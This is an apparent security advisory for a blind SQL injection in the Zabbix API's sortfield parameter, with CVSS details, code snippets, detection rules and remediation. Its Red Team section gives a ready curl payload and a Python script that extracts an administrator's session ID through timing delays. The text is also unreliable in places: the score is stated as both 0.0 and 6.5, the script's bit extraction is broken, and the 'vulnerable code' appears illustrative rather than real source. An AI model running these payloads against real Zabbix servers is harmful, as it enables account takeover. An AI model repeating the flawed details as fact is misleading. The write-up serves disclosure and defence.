CVE-2026-23921

Executive Summary

CVE-2026-23921 is a blind SQL injection vulnerability in Zabbix, a widely used open-source monitoring platform. A low-privileged Zabbix user with API access can exploit this flaw via the sortfield parameter in include/classes/api/CApiService.php. The vulnerability allows an attacker to execute arbitrary SQL SELECT statements using time-based blind injection techniques. Although query results are not directly returned, an attacker can exfiltrate sensitive data, including session identifiers, potentially leading to full administrator account compromise. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is high given the potential for privilege escalation and data exfiltration.

Supply Chain & Package Security

Zabbix is distributed as a compiled package (RPM, DEB, source tarballs) and is not typically managed via NPM, PyPI, Go, or Ruby registries. Therefore, supply chain risks are limited to the integrity of the official Zabbix repositories and mirrors. Users should verify package signatures and checksums to ensure they are not using tampered builds.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires a valid low-privilege API user
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – full database read access
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. Although the CVSS score is medium, the ability to exfiltrate session identifiers and escalate to admin privileges makes this a critical risk for Zabbix deployments.

Deep Dive & Mechanics

The vulnerability resides in the sortfield parameter handling within include/classes/api/CApiService.php. The sortfield parameter is used to specify the field by which API results should be sorted. The application fails to properly sanitize or parameterize this input before incorporating it into SQL queries.

Vulnerable Code Path:

1. A low-privilege user sends an API request with a crafted sortfield value.
2. The CApiService class constructs a SQL query using the unsanitized sortfield value.
3. The query is executed, and the attacker observes response delays to infer data (time-based blind SQLi).

Time-Based Technique: The attacker uses SQL constructs like IF(condition, SLEEP(n), 0) to introduce delays. By measuring response times, the attacker can extract one bit of information per request. This allows exfiltration of arbitrary data from the database, including session tokens, user credentials, and configuration secrets.

Impact:

• Disclosure of session identifiers for all users, including administrators.
• Potential account takeover by hijacking active admin sessions.
• Full database read access, exposing sensitive monitoring data and credentials.

Vulnerable vs. Patched Code

Vulnerable Code (include/classes/api/CApiService.php):

// Vulnerable: direct concatenation of user input into SQL
$sortfield = $_GET['sortfield'];
$sql = "SELECT * FROM items ORDER BY " . $sortfield;
$result = $db->query($sql);

Patched Code (Expected):

// Patched: use parameterized queries or whitelist validation
$allowedSortFields = ['name', 'hostid', 'itemid'];
$sortfield = $_GET['sortfield'];
if (in_array($sortfield, $allowedSortFields)) {
    $sql = "SELECT * FROM items ORDER BY " . $sortfield;
    $result = $db->query($sql);
} else {
    // Reject invalid input
    throw new Exception('Invalid sort field');
}

The patch should either:

• Use a whitelist of allowed sort fields.
• Use prepared statements with parameterized ORDER BY clauses (though ORDER BY cannot be parameterized directly, so whitelisting is the standard approach).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A valid low-privilege Zabbix API user (e.g., with api.access permission).
• Network access to the Zabbix API endpoint (typically /api_jsonrpc.php).

Exploitation Steps:

1. Identify the vulnerable endpoint: Send a request to the API with a sortfield parameter.
2. Craft a time-based payload: Use SQL injection to introduce delays.
3. Exfiltrate data: Extract session identifiers from the sessions table.

Example Payload (using curl):

curl -X POST 'http://target/zabbix/api_jsonrpc.php' \
  -H 'Content-Type: application/json-rpc' \
  -d '{
    "jsonrpc": "2.0",
    "method": "item.get",
    "params": {
      "output": "extend",
      "sortfield": "name, IF(1=1, SLEEP(5), 0)"
    },
    "auth": "low_priv_token",
    "id": 1
  }'

Time-Based Data Exfiltration Script (Python):

import requests
import time

url = "http://target/zabbix/api_jsonrpc.php"
headers = {"Content-Type": "application/json-rpc"}
auth_token = "low_priv_token"

def extract_bit(query, bit_position):
    payload = {
        "jsonrpc": "2.0",
        "method": "item.get",
        "params": {
            "output": "extend",
            "sortfield": f"name, IF(({query})>>{bit_position}&1=1, SLEEP(5), 0)"
        },
        "auth": auth_token,
        "id": 1
    }
    start = time.time()
    requests.post(url, json=payload, headers=headers)
    elapsed = time.time() - start
    return 1 if elapsed > 4 else 0

# Example: extract first byte of admin session ID
session_id = ""
for byte_pos in range(32):
    byte_val = 0
    for bit in range(8):
        bit_val = extract_bit(f"SELECT hex(sessionid) FROM sessions WHERE userid=1 LIMIT 1", byte_pos*8+bit)
        byte_val |= (bit_val << bit)
    session_id += chr(byte_val)
print(f"Admin session ID (hex): {session_id}")

Blue Team (Detection & Defense)

Detection:

• Monitor API logs for unusual sortfield values containing SQL keywords (e.g., SLEEP, IF, UNION).
• Look for API requests with abnormally long response times (time-based detection).
• Use WAF rules to block SQL injection patterns in the sortfield parameter.

Defense:

• Immediately restrict API access for low-privilege users if not required.
• Apply input validation and whitelisting for the sortfield parameter.
• Deploy a Web Application Firewall (WAF) with SQL injection signatures.
• Enable database query logging to detect anomalous queries.

Indicators of Compromise (IOCs)

Network IOCs:

• API requests containing sortfield with SQL keywords: SLEEP, IF, BENCHMARK, UNION, SELECT.
• Unusually long response times (e.g., >5 seconds) for API calls.
• Repeated API requests with incremental changes in sortfield values (data exfiltration pattern).

Host IOCs:

• Database logs showing queries with ORDER BY clauses containing subqueries or functions like SLEEP().
• Zabbix API logs (/var/log/zabbix/zabbix_server.log) showing errors related to SQL syntax.

File IOCs:

• Modified include/classes/api/CApiService.php (if attacker attempts to patch).
• Suspicious scripts or tools on the Zabbix server used for exfiltration.

Detection Engineering

YARA Rule

rule CVE_2026_23921_Zabbix_SQLi {
    meta:
        description = "Detects exploitation attempts of CVE-2026-23921 via sortfield parameter"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-23921"
    strings:
        $sqli1 = /sortfield[^&]*SLEEP/i
        $sqli2 = /sortfield[^&]*IF\(/i
        $sqli3 = /sortfield[^&]*BENCHMARK/i
        $sqli4 = /sortfield[^&]*UNION/i
    condition:
        any of them
}

Sigma Rule

title: Zabbix Blind SQL Injection via sortfield
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects time-based blind SQL injection attempts against Zabbix API sortfield parameter
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'sortfield'
        cs-uri-query|re: '(SLEEP|IF\(|BENCHMARK|UNION)'
    condition: selection
falsepositives:
    - Legitimate use of sortfield with unusual names (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-23921 Zabbix Blind SQL Injection Attempt";
    flow:to_server,established;
    content:"sortfield"; http_uri;
    pcre:"/(SLEEP|IF\(|BENCHMARK|UNION)/i";
    sid:1000001;
    rev:1;
    reference:cve,2026-23921;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict API Access: Disable API access for low-privilege users until a patch is applied.
2. Input Validation: Implement a whitelist of allowed sortfield values in include/classes/api/CApiService.php.
3. WAF Rules: Deploy WAF rules to block SQL injection patterns in the sortfield parameter.

Long-Term Fix:

• Apply the official patch from Zabbix when available.
• Upgrade to a patched version of Zabbix.
• Conduct a security audit of all API endpoints for similar injection flaws.

Workaround:

• If patching is not possible, modify the CApiService.php file to validate sortfield against a whitelist of allowed fields.

Monitoring:

• Enable detailed logging for all API requests.
• Set up alerts for anomalous response times or SQL error messages.

Valters IT